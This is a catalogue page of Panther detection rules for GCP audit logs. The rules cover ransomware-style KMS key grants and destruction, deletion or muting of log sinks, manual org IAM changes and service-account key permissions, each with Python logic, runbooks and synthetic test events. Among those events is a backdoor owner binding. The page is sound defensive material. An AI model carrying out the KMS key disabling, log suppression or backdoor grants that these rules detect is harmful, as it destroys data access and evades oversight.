AnalysisType: rule
Filename: gcp_kms_enable_key.py
RuleID: "GCP.KMS.EnableKey"
DisplayName: "GCP KMS Key Granted to GCS Service Account"
Enabled: true
DedupPeriodMinutes: 60
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Google Cloud KMS
  - Defense Evasion:Impair Defenses
  - Impact:Data Encrypted for Impact
  - Ransomware
Reports:
  MITRE ATT&CK:
    - TA0005:T1562
    - TA0040:T1486
Severity: Medium
Description: >
  Detects when a KMS IAM policy grants encryption/decryption permissions to a GCS service account.
  This pattern may indicate a ransomware attack where an adversary grants a GCS service account
  access to KMS keys to enable encryption of cloud storage objects.
Runbook: |
  1. Query GCP Audit logs for all SetIamPolicy events on KMS keys by the principal email in the 24 hours before and after this alert
  2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or if the IP matches the user's typical access patterns
  3. Search for GCS object rewrite or copy operations using the same service account in the 6 hours after the KMS policy change
  4. Look for other alerts related to ransomware indicators (e.g., bulk object operations, unusual encryption activity) from this project in the past 7 days
Reference: https://cloud.google.com/kms/docs/iam
SummaryAttributes:
  - severity
  - p_any_ip_addresses
  - p_any_emails

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.methodName is SetIamPolicy
  • protoPayload.serviceName is cloudkms.googleapis.com
  • protoPayload.status.code is empty

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
protoPayload.methodNameneSetIamPolicyexcludes:protoPayload.methodName field:"protoPayload.methodName" value:"SetIamPolicy"
protoPayload.serviceNamenecloudkms.googleapis.comexcludes:protoPayload.serviceName field:"protoPayload.serviceName" value:"cloudkms.googleapis.com"
protoPayload.status.codeis_not_null(no value, null check)excludes:protoPayload.status.code

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
actorprotoPayload.authenticationInfo.principalEmail
kms_keyprotoPayload.resourceName
source_ipprotoPayload.requestMetadata.callerIp
projectresource.labels.project_id
bindingsprotoPayload.request.policy.bindings

Response runbook

1. Query GCP Audit logs for all SetIamPolicy events on KMS keys by the principal email in the 24 hours before and after this alert

2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or if the IP matches the user's typical access patterns

3. Search for GCS object rewrite or copy operations using the same service account in the 6 hours after the KMS policy change

4. Look for other alerts related to ransomware indicators (e.g., bulk object operations, unusual encryption activity) from this project in the past 7 days

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "abc123def456",
  "logName": "projects/test-project/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "oauthInfo": {
        "oauthClientId": "111111111111-abcdefghijklmnopqrstuvwxyz123456.apps.googleusercontent.com"
      },
      "principalEmail": "denethor@lotr.com",
      "principalSubject": "user:denethor@lotr.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "cloudkms.cryptoKeys.setIamPolicy",
        "permissionType": "ADMIN_WRITE",
        "resource": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key",
        "resourceAttributes": {
          "name": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key",
          "service": "google.cloud.kms",
          "type": "cloudkms.googleapis.com/CryptoKey"
        }
      }
    ],
    "metadata": {},
    "methodName": "SetIamPolicy",
    "request": {
      "@type": "type.googleapis.com/google.iam.v1.SetIamPolicyRequest",
      "at_sign_type": "type.googleapis.com/google.iam.v1.SetIamPolicyRequest",
      "policy": {
        "bindings": [
          {
            "members": [
              "serviceAccount:service-111111111111-gs-project-accounts.iam.gserviceaccount.com"
            ],
            "role": "roles/cloudkms.cryptoKeyEncrypterDecrypter"
          }
        ],
        "etag": "ABCD",
        "version": 3
      },
      "resource": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key"
    },
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerIp": "1.2.3.4",
      "callerSuppliedUserAgent": "google-cloud-sdk gcloud/500.0.0 command/gcloud.kms.keys.add-iam-policy-binding",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2025-12-02T19:39:34.390943642Z"
      }
    },
    "resourceLocation": {
      "currentLocations": [
        "us"
      ]
    },
    "resourceName": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key",
    "serviceName": "cloudkms.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2025-12-02 19:39:35.556705822",
  "resource": {
    "labels": {
      "crypto_key_id": "test-key",
      "key_ring_id": "test-keyring",
      "location": "us",
      "project_id": "test-project"
    },
    "type": "cloudkms_cryptokey"
  },
  "severity": "NOTICE",
  "timestamp": "2025-12-02 19:39:33.896113820"
}

GCP KMS Key Version Disabled or Destroyed

#
Status
Experimental
Severity
informational
Log types
GCP.AuditLog
Tags
GCP, Google Cloud KMS, Defense Evasion:Impair Defenses, Impact:Data Encrypted for Impact, Ransomware
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detects when a KMS key version is disabled, scheduled for destruction, or destroyed. Disabling or destroying KMS key versions can be used to deny access to encrypted data—a ransomware tactic where attackers disable keys to prevent victims from accessing their data.

MITRE ATT&CK coverage

TacticTechniques
Defense Impairment
Impact

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):
    if event.deep_get("protoPayload", "serviceName") != "cloudkms.googleapis.com":
        return False

    method = event.deep_get("protoPayload", "methodName", default="<UNKNOWN_METHOD>")

    # Direct key version destruction
    if method == "DestroyCryptoKeyVersion":
        return True

    # Key version state change, check for dangerous states
    if method == "UpdateCryptoKeyVersion":
        if event.deep_get("protoPayload", "request", "updateMask") != "state":
            return False

        crypto_key_state = event.deep_get(
            "protoPayload", "request", "cryptoKeyVersion", "state", default="<UNKNOWN_STATE>"
        )
        dangerous_states = ["DISABLED", "DESTROY_SCHEDULED", "DESTROYED"]
        return crypto_key_state in dangerous_states

    return False


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="Unknown"
    )
    key = event.deep_get("protoPayload", "request", "cryptoKeyVersion", "name", default="Unknown")
    return f"GCP KMS key [{key}] version disabled or destroyed by {actor}"


def alert_context(event):
    return {
        "actor": event.deep_get("protoPayload", "authenticationInfo", "principalEmail"),
        "kms_key_version": event.deep_get("protoPayload", "resourceName"),
        "new_state": event.deep_get("protoPayload", "request", "cryptoKeyVersion", "state"),
        "source_ip": event.deep_get("protoPayload", "requestMetadata", "callerIp"),
        "project": event.deep_get("resource", "labels", "project_id"),
        "key_ring": event.deep_get("resource", "labels", "key_ring_id"),
        "crypto_key": event.deep_get("resource", "labels", "crypto_key_id"),
    }

Rule specification

AnalysisType: rule
Filename: gcp_kms_erase_key.py
RuleID: "GCP.KMS.EraseKey"
DisplayName: "GCP KMS Key Version Disabled or Destroyed"
Enabled: true
Status: Experimental
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Google Cloud KMS
  - Defense Evasion:Impair Defenses
  - Impact:Data Encrypted for Impact
  - Ransomware
Reports:
  MITRE ATT&CK:
    - TA0005:T1562
    - TA0040:T1486
Severity: Info
Description: >
  Detects when a KMS key version is disabled, scheduled for destruction, or destroyed.
  Disabling or destroying KMS key versions can be used to deny access to encrypted data—a
  ransomware tactic where attackers disable keys to prevent victims from accessing their data.
Runbook: |
  1. Query GCP Audit logs for all KMS key operations by the principal email in the 24 hours before and after this alert
  2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access patterns
  3. Search for other KMS key state changes (disabled, destroyed) across different keys in the same project in the past 6 hours
  4. Identify which GCS buckets or other resources use this KMS key for encryption and assess data access impact
  5. Look for other alerts related to ransomware indicators (e.g., bulk operations, unusual encryption activity) from this project in the past 7 days
Reference: https://cloud.google.com/kms/docs/key-states
SummaryAttributes:
  - severity
  - p_any_ip_addresses
  - p_any_emails

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.serviceName is cloudkms.googleapis.com
  • any of:
    • protoPayload.methodName is DestroyCryptoKeyVersion
    • all of:
      • protoPayload.methodName is UpdateCryptoKeyVersion
      • protoPayload.request.updateMask is state
      • protoPayload.request.cryptoKeyVersion.state is one of DISABLED, DESTROY_SCHEDULED, DESTROYED

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
actorprotoPayload.authenticationInfo.principalEmail
kms_key_versionprotoPayload.resourceName
new_stateprotoPayload.request.cryptoKeyVersion.state
source_ipprotoPayload.requestMetadata.callerIp
projectresource.labels.project_id
key_ringresource.labels.key_ring_id
crypto_keyresource.labels.crypto_key_id
nameprotoPayload.request.cryptoKeyVersion.name

Response runbook

1. Query GCP Audit logs for all KMS key operations by the principal email in the 24 hours before and after this alert

2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access patterns

3. Search for other KMS key state changes (disabled, destroyed) across different keys in the same project in the past 6 hours

4. Identify which GCS buckets or other resources use this KMS key for encryption and assess data access impact

5. Look for other alerts related to ransomware indicators (e.g., bulk operations, unusual encryption activity) from this project in the past 7 days

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "abc123def456",
  "logName": "projects/test-project/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "oauthInfo": {
        "oauthClientId": "111111111111-abcdefghijklmnopqrstuvwxyz123456.apps.googleusercontent.com"
      },
      "principalEmail": "denethor@lotr.com",
      "principalSubject": "user:denethor@lotr.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "cloudkms.cryptoKeyVersions.update",
        "permissionType": "ADMIN_WRITE",
        "resource": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key/cryptoKeyVersions/1",
        "resourceAttributes": {
          "name": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key/cryptoKeyVersions/1",
          "service": "google.cloud.kms",
          "type": "cloudkms.googleapis.com/CryptoKeyVersion"
        }
      }
    ],
    "metadata": {},
    "methodName": "UpdateCryptoKeyVersion",
    "request": {
      "@type": "type.googleapis.com/google.cloud.kms.v1.UpdateCryptoKeyVersionRequest",
      "at_sign_type": "type.googleapis.com/google.cloud.kms.v1.UpdateCryptoKeyVersionRequest",
      "cryptoKeyVersion": {
        "name": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key/cryptoKeyVersions/1",
        "state": "DISABLED"
      },
      "updateMask": "state"
    },
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerIp": "1.2.3.4",
      "callerSuppliedUserAgent": "google-cloud-sdk gcloud/548.0.0 command/gcloud.kms.keys.versions.disable",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2025-12-15T15:40:47.296683147Z"
      }
    },
    "resourceLocation": {
      "currentLocations": [
        "us"
      ]
    },
    "resourceName": "projects/test-project/locations/us/keyRings/test-keyring/cryptoKeys/test-key/cryptoKeyVersions/1",
    "serviceName": "cloudkms.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2025-12-15 15:40:48.642133512",
  "resource": {
    "labels": {
      "crypto_key_id": "test-key",
      "crypto_key_version_id": "1",
      "key_ring_id": "test-keyring",
      "location": "us",
      "project_id": "test-project"
    },
    "type": "cloudkms_cryptokeyversion"
  },
  "severity": "NOTICE",
  "timestamp": "2025-12-15 15:40:47.284488263"
}

GCP Log Bucket or Sink Deleted

#
Severity
medium
Log types
GCP.AuditLog
Tags
GCP, Logging, Bucket, Sink, Infrastructure
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

This rule detects deletions of GCP Log Buckets or Sinks.

Detection logic

import re

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    granted_list = event.deep_walk("protoPayload", "authorizationInfo", "granted", default=[])
    authenticated = any(granted_list) if isinstance(granted_list, list) else bool(granted_list)
    method_pattern = r"(?:\w+\.)*v\d\.(?:ConfigServiceV\d\.(?:Delete(Bucket|Sink)))"
    match = re.search(method_pattern, event.deep_get("protoPayload", "methodName", default=""))
    return authenticated and match is not None


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    resource = event.deep_get(
        "protoPayload",
        "resourceName",
        default="<RESOURCE_NOT_FOUND>",
    )
    return f"[GCP]: [{actor}] deleted logging bucket or sink [{resource}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

---
AnalysisType: rule
DedupPeriodMinutes: 60
DisplayName: GCP Log Bucket or Sink Deleted
Enabled: true
Filename: gcp_log_bucket_or_sink_deleted.py
RuleID: "GCP.Log.Bucket.Or.Sink.Deleted"
Severity: Medium
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Logging
  - Bucket
  - Sink
  - Infrastructure
Description: >
  This rule detects deletions of GCP Log Buckets or Sinks.
Runbook: >
  Ensure that the bucket or sink deletion was expected. Adversaries may do this to cover their tracks.
Reference: https://cloud.google.com/logging/docs

Stages and Predicates

Rule logic imperative Python

The parser could not express this rule's Python logic as a structured condition; the complete logic is under Detection logic above.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Ensure that the bucket or sink deletion was expected. Adversaries may do this to cover their tracks.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertid": "xxxxxxxxxx",
  "logname": "projects/test-project-123456/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@domain.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "logging.buckets.delete",
        "resource": "projects/test-project-123456/locations/global/buckets/testloggingbucket",
        "resourceAttributes": {
          "name": "projects/test-project-123456/locations/global/buckets/testloggingbucket",
          "service": "logging.googleapis.com"
        }
      }
    ],
    "methodName": "google.logging.v2.ConfigServiceV2.DeleteBucket",
    "request": {
      "@type": "type.googleapis.com/google.logging.v2.DeleteBucketRequest",
      "name": "projects/test-project-123456/locations/global/buckets/testloggingbucket"
    },
    "requestMetadata": {
      "callerIP": "12.12.12.12",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2023-05-23T19:38:36.846070601Z"
      }
    },
    "resourceName": "projects/test-project-123456/locations/global/buckets/testloggingbucket",
    "serviceName": "logging.googleapis.com",
    "status": {}
  },
  "receivetimestamp": "2023-05-23 19:38:37.59",
  "resource": {
    "labels": {
      "method": "google.logging.v2.ConfigServiceV2.DeleteBucket",
      "project_id": "test-project-123456",
      "service": "logging.googleapis.com"
    },
    "type": "audited_resource"
  },
  "severity": "NOTICE",
  "timestamp": "2023-05-23 19:38:36.838"
}

GCP Logging Settings Modified

#
Severity
low
Group by
protoPayload.authenticationInfo.principalEmail
Entities
emails, ip_addresses
Log types
GCP.AuditLog
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Detects any changes made to logging settings

Telemetry coverage

Detection logic

def rule(event):
    return all(
        [
            event.deep_get("protoPayload", "serviceName", default="") == "logging.googleapis.com",
            "Update" in event.deep_get("protoPayload", "methodName", default=""),
        ]
    )


def title(event):
    resource = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>")
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    return f"GCP [{resource}] logging settings modified by [{actor}]."


def dedup(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    return actor


def alert_context(event):
    return {
        "resource": event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>"),
        "actor": event.deep_get(
            "protoPayload",
            "authenticationInfo",
            "principalEmail",
            default="<ACTOR_NOT_FOUND>",
        ),
        "method": event.deep_get("protoPayload", "methodName", default="<METHOD_NOT_FOUND>"),
    }

Rule specification

AnalysisType: rule
Description: Detects any changes made to logging settings
DisplayName: "GCP Logging Settings Modified"
Enabled: true
Filename: gcp_logging_settings_modified.py
Reference: https://cloud.google.com/logging/docs/default-settings
Severity: Low
DedupPeriodMinutes: 60
LogTypes:
  - GCP.AuditLog
RuleID: "GCP.Logging.Settings.Modified"
Threshold: 1

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.serviceName is logging.googleapis.com
  • protoPayload.methodName contains Update

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
resourceprotoPayload.resourceName
actorprotoPayload.authenticationInfo.principalEmail
methodprotoPayload.methodName

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertid": "ezyd47c12y",
  "logname": "projects/gcp-project1/logs/cloudaudit.googleapis.com%2Factivity",
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_event_time": "2023-03-09 16:41:30.524",
  "p_log_type": "GCP.AuditLog",
  "p_parse_time": "2023-03-09 16:44:14.617",
  "p_row_id": "1234567909689348911",
  "p_source_id": "4fc88a5a-2d51-4279-9c4a-08fa7cc52566",
  "p_source_label": "gcplogsource",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "test@company.io"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "logging.sinks.update",
        "resource": "projects/gcp-project1/sinks/log-sink",
        "resourceAttributes": {
          "name": "projects/gcp-project1/sinks/log-sink",
          "service": "logging.googleapis.com"
        }
      }
    ],
    "methodName": "google.logging.v2.ConfigServiceV2.UpdateSink",
    "request": {
      "@type": "type.googleapis.com/google.logging.v2.UpdateSinkRequest",
      "sink": {
        "destination": "pubsub.googleapis.com/projects/gcp-project1/topics/gcp-topic1",
        "exclusions": [
          {
            "filter": "protoPayload.serviceName = 'k8s.io",
            "name": "excludek8s"
          }
        ],
        "name": "log-sink",
        "writerIdentity": "serviceAccount:p197946410614-915152@gcp-sa-logging.iam.gserviceaccount.com"
      },
      "sinkName": "projects/gcp-project1/sinks/log-sink",
      "uniqueWriterIdentity": true,
      "updateMask": "exclusions"
    },
    "requestMetadata": {
      "callerIP": "1.2.3.4",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2023-03-09T16:41:30.540045105Z"
      }
    },
    "resourceName": "projects/gcp-project1/sinks/log-sink",
    "serviceName": "logging.googleapis.com",
    "status": {}
  },
  "receivetimestamp": "2023-03-09 16:41:32.21",
  "resource": {
    "labels": {
      "destination": "",
      "name": "log-sink",
      "project_id": "gcp-project1"
    },
    "type": "logging_sink"
  },
  "severity": "NOTICE",
  "timestamp": "2023-03-09 16:41:30.524"
}

GCP Logging Sink Modified

#
Severity
informational
Log types
GCP.AuditLog
Tags
GCP, Logging, Sink, Infrastructure
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

This rule detects modifications to GCP Log Sinks.

Detection logic

import re

from panther_gcp_helpers import gcp_alert_context


def rule(event):
    method_pattern = r"(?:\w+\.)*v\d\.(?:ConfigServiceV\d\.(?:UpdateSink))"
    match = re.search(method_pattern, event.deep_get("protoPayload", "methodName", default=""))
    return match is not None


def title(event):
    actor = event.deep_get(
        "protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
    )
    resource = event.deep_get(
        "protoPayload",
        "resourceName",
        default="<RESOURCE_NOT_FOUND>",
    )
    return f"[GCP]: [{actor}] updated logging sink [{resource}]"


def alert_context(event):
    return gcp_alert_context(event)

Rule specification

---
AnalysisType: rule
DedupPeriodMinutes: 60
DisplayName: GCP Logging Sink Modified
Enabled: true
Filename: gcp_logging_sink_modified.py
RuleID: "GCP.Logging.Sink.Modified"
Severity: Info
CreateAlert: false
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Logging
  - Sink
  - Infrastructure
Description: >
  This rule detects modifications to GCP Log Sinks.
Runbook: >
  Ensure that the modification was valid or expected. Adversaries may do this to exfiltrate logs or evade detection.
Reference: https://cloud.google.com/logging/docs

Stages and Predicates

Rule logic imperative Python

The parser could not express this rule's Python logic as a structured condition; the complete logic is under Detection logic above.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
projectresource.labels.project_id
principalprotoPayload.authenticationInfo.principalEmail
caller_ipprotoPayload.requestMetadata.callerIP
methodNameprotoPayload.methodName
resourceNameprotoPayload.resourceName
serviceNameprotoPayload.serviceName

Response runbook

Ensure that the modification was valid or expected. Adversaries may do this to exfiltrate logs or evade detection.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertid": "6ns26jclap",
  "logname": "projects/test-project-123456/logs/cloudaudit.googleapis.com%2Factivity",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "user@domain.com"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "logging.sinks.update",
        "resource": "projects/test-project-123456/sinks/test-1",
        "resourceAttributes": {
          "name": "projects/test-project-123456/sinks/test-1",
          "service": "logging.googleapis.com"
        }
      }
    ],
    "methodName": "google.logging.v2.ConfigServiceV2.UpdateSink",
    "request": {
      "@type": "type.googleapis.com/google.logging.v2.UpdateSinkRequest",
      "sink": {
        "description": "test",
        "destination": "logging.googleapis.com/projects/test-project-123456/locations/global/buckets/testloggingbucket",
        "exclusions": [
          {
            "filter": "*",
            "name": "excludeall"
          }
        ],
        "name": "test-1"
      },
      "sinkName": "projects/test-project-123456/sinks/test-1",
      "uniqueWriterIdentity": true,
      "updateMask": "exclusions"
    },
    "requestMetadata": {
      "callerIP": "12.12.12.12",
      "callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)",
      "destinationAttributes": {},
      "requestAttributes": {
        "auth": {},
        "time": "2023-05-23T19:39:07.289670886Z"
      }
    },
    "resourceName": "projects/test-project-123456/sinks/test-1",
    "serviceName": "logging.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2023-05-23 19:39:07.924",
  "resource": {
    "labels": {
      "destination": "",
      "name": "test-1",
      "project_id": "test-project-123456"
    },
    "type": "logging_sink"
  },
  "severity": "NOTICE",
  "timestamp": "2023-05-23 19:39:07.272"
}

GCP Org or Folder Policy Was Changed Manually

#
Severity
high
Compliance
GCP_CIS_1.3 1.8
Log types
GCP.AuditLog
Tags
GCP, Identity & Access Management, Persistence, Modify Authentication Process - Conditional Access Policies
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Alert if a GCP Org or Folder Policy Was Changed Manually.

MITRE ATT&CK coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):
    # Return True to match the log event and trigger an alert.
    logname = event.get("logName")
    return (
        event.deep_get("protoPayload", "methodName") == "SetIamPolicy"
        and (logname.startswith("organizations") or logname.startswith("folder"))
        and logname.endswith("/logs/cloudaudit.googleapis.com%2Factivity")
    )


def title(event):
    # use unified data model field in title
    return (
        f"{event.get('p_log_type')}: [{event.udm('actor_user')}] made manual changes to Org policy"
    )


def alert_context(event):
    return {
        "actor": event.udm("actor_user"),
        "policy_change": event.deep_get("protoPayload", "serviceData", "policyDelta"),
        "caller_ip": event.deep_get("protoPayload", "requestMetadata", "callerIP"),
        "user_agent": event.deep_get("protoPayload", "requestMetadata", "callerSuppliedUserAgent"),
    }


def severity(event):
    if (
        event.deep_get("protoPayload", "requestMetadata", "callerSuppliedUserAgent")
        .lower()
        .find("terraform")
        != -1
    ):
        return "INFO"
    return "HIGH"

Rule specification

AnalysisType: rule
Filename: gcp_iam_org_folder_changes.py
RuleID: "GCP.IAM.OrgFolderIAMChanges"
DisplayName: "GCP Org or Folder Policy Was Changed Manually"
Enabled: true
DedupPeriodMinutes: 1440 # 24 hours
LogTypes:
  - GCP.AuditLog
Tags:
  - GCP
  - Identity & Access Management
  - Persistence
  - Modify Authentication Process - Conditional Access Policies 
Reports:
  GCP_CIS_1.3:
    - 1.8
  MITRE ATT&CK:
    - TA0003:T1556.009
Severity: High
Description: >
  Alert if a GCP Org or Folder Policy Was Changed Manually.
Runbook: |
  Contact the party that made the change.
  If it was intended to be temporary, ask for a window for rollback (< 24 hours).
  If it must be permanent, ask for change-management doc explaining why it was needed.
  Direct them to make the change in Terraform to avoid automated rollback.
  Grep for google_org and google_folder in terraform repos for places to
  put your new policy bindings.
Reference: https://cloud.google.com/iam/docs/granting-changing-revoking-access
SummaryAttributes:
  - severity
  - p_any_ip_addresses

Stages and Predicates

Fires on GCP.AuditLog events when all of the conditions below hold.

Condition

  • protoPayload.methodName is SetIamPolicy
  • any of:
    • logName starts with organizations
    • logName starts with folder
  • logName ends with /logs/cloudaudit.googleapis.com%2Factivity
Alert deduplication
repeat matches within 1d group into one alert

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
actoractor_user
policy_changeprotoPayload.serviceData.policyDelta
caller_ipprotoPayload.requestMetadata.callerIP
user_agentprotoPayload.requestMetadata.callerSuppliedUserAgent
p_log_type

Response runbook

Contact the party that made the change.

If it was intended to be temporary, ask for a window for rollback (< 24 hours).

If it must be permanent, ask for change-management doc explaining why it was needed.

Direct them to make the change in Terraform to avoid automated rollback.

Grep for google_org and google_folder in terraform repos for places to

put your new policy bindings.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "insertId": "-lmjke7dbt7y",
  "logName": "organizations/888888888888/logs/cloudaudit.googleapis.com%2Factivity",
  "p_log_type": "GCP.AuditLog",
  "protoPayload": {
    "at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
    "authenticationInfo": {
      "principalEmail": "terraform@platform.iam.gserviceaccount.com",
      "principalSubject": "serviceAccount:terraform@platform.iam.gserviceaccount.com",
      "serviceAccountKeyName": "//iam.googleapis.com/projects/platform/serviceAccounts/terraform@platform.iam.gserviceaccount.com/keys/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
    },
    "authorizationInfo": [
      {
        "granted": true,
        "permission": "resourcemanager.organizations.setIamPolicy",
        "resource": "organizations/888888888888",
        "resourceAttributes": {
          "name": "organizations/888888888888",
          "service": "cloudresourcemanager.googleapis.com",
          "type": "cloudresourcemanager.googleapis.com/Organization"
        }
      }
    ],
    "methodName": "SetIamPolicy",
    "request": {
      "@type": "type.googleapis.com/google.iam.v1.SetIamPolicyRequest",
      "policy": {
        "bindings": [
          {
            "members": [
              "joey.jojo@example.com",
              "serviceAccount:terraform@platform.iam.gserviceaccount.com"
            ],
            "role": "roles/owner"
          }
        ],
        "etag": "BwXcRFUAtX4="
      },
      "resource": "organizations/888888888888",
      "updateMask": "bindings,etag,auditConfigs"
    },
    "requestMetadata": {
      "callerIP": "100.100.100.100",
      "callerSuppliedUserAgent": "Terraform/0.13.2 terraform-provider-google/3.90.1",
      "destinationAttributes": {},
      "requestAttributes": {}
    },
    "resourceName": "organizations/888888888888",
    "response": {
      "@type": "type.googleapis.com/google.iam.v1.Policy",
      "bindings": [
        {
          "members": [
            "joey.jojo@example.com",
            "serviceAccount:terraform@platform.iam.gserviceaccount.com"
          ],
          "role": "roles/owner"
        }
      ],
      "etag": "BwXeRCtKxCw="
    },
    "serviceData": {
      "@type": "type.googleapis.com/google.iam.v1.logging.AuditData",
      "policyDelta": {
        "bindingDeltas": [
          {
            "action": "ADD",
            "member": "user:backdoor@example.com",
            "role": "roles/owner"
          }
        ]
      }
    },
    "serviceName": "cloudresourcemanager.googleapis.com",
    "status": {}
  },
  "receiveTimestamp": "2022-05-05 14:00:49.450798551",
  "resource": {
    "labels": {
      "organization_id": "888888888888"
    },
    "type": "organization"
  },
  "severity": "NOTICE",
  "timestamp": "2022-05-05 14:00:48.814294000"
}

GCP Permissions Granted to Create or Manage Service Account Key

#
Severity
low
Entities
emails, ip_addresses
Log types
GCP.AuditLog
Reference
cloud.google.com
Source
github.com/panther-labs/panther-analysis

Permissions granted to impersonate a service account. This includes predefined service account IAM roles granted at the parent project, folder or organization-level.

Detection logic

SERVICE_ACCOUNT_MANAGE_ROLES = [
    "roles/iam.serviceAccountTokenCreator",
    "roles/iam.serviceAccountUser",
]


def rule(event):
    if "SetIAMPolicy" in event.deep_get("protoPayload", "methodName", default=""):
        role = event.deep_walk(
            "protoPayload",
            "serviceData",
            "policyDelta",
            "bindingDeltas",
            "role",
            default="",
            return_val="last",
        )
        action = event.deep_walk(
            "protoPayload",
            "serviceData",
            "policyDelta",
            "bindingDeltas",
            "action",
            default="",
            return_val="last",
        )
        return role in SERVICE_ACCOUNT_MANAGE_ROLES and action == "ADD"
